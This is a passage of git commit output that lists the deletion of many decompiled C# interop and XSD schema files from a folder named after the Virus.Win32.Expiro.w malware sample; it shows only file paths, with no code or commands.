MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPSIZE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMEMCTX.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMENUBANDHANDLERCID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMENUPOPUPPOPUPFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMENUPOPUPSELECT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMKREDUCE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMKSYS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMSG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMSHCTX.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMSHLFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNAMESPACEWALKFLAG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCECLICKTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCEHITTEST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCGNI.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCITEMSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCROOTSTYLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagNSTCSTYLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLECLOSE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLECONTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEDCFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEGETMONIKER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLELINKBIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEMISC.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLERENDER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEUPDATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEVERBATTRIB.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOLEWHICHMK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagOPEN_AS_INFO_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPENDINGMSG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPENDINGTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPERSIST_SPROPSTORE_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPKA_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPOINTERINACTIVE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPBAG2_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_AGGREGATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_COLUMNINDEX_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_CONDITION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_DISPLAYTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_ENUMFILTER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_FORMAT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_GROUPING_RANGE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_SEARCHINFO_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_SORTDESCRIPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_TYPE_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPDESC_VIEW_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPENUMTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPERTYUI_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPERTYUI_FORMAT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPERTYUI_NAME_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPPAGESTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPROPVARIANT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagPictureAttributes.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagQACONTAINERFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagQUERY_PARSER_MANAGER_OPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagREADYSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagRECT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagREGCLS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagREGKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSERVERCALL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSF_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHCOLSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHCONTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHELLITEMCOMPAREHINTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHELLPROPSHEETEXTPAGEID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHGDN.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSIATTRIBFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSIGDN.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSIIGB.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSLGP_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSLR_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSMINFOFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSMINFOMASK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSMINFOTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSPBEGINF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSPINITF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTATFLAG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTDMSHLFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGC.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGMOVE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGOP.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGTY.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTREAM_SEEK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRRET_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_MULTIOPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_PARSE_ERROR.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_SINGLE_OPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSVGIO.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSVUIA_STATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSYSKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagShutdownType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTEXTMETRICA.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTEXTMETRICW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYMED.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYPEFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYPEKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYSPEC.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagUASFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagURLTEMPLATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagURLZONE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagUSERCLASSTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVARFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVARIANT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVARKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVIEWSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagXFORMCOORDS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagXMLEMEM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_CIMTYPE_ENUMERATION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEMSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEMSTATUS_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_BACKUP_RESTORE_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_CHANGE_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_COMPARISON_FLAG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_COMPILER_OPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_CONDITION_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_CONNECT_OPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_FLAVOR_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_GENERIC_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_GENUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_INFORMATION_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_LIMITATION_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_LIMITS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_LOCKING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_QUERY_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_REFRESHER_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_SECURITY_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_SHUTDOWN_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_STATUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_TEXT_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_TIMEOUT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_UNSECAPP_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WMI_OBJ_TEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tm.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-identity-2007.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-policy-2007.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-policy.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-securitypolicy-1/2.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-securitypolicy.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-trust-1/3.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-trust.xsd delete mode 100644 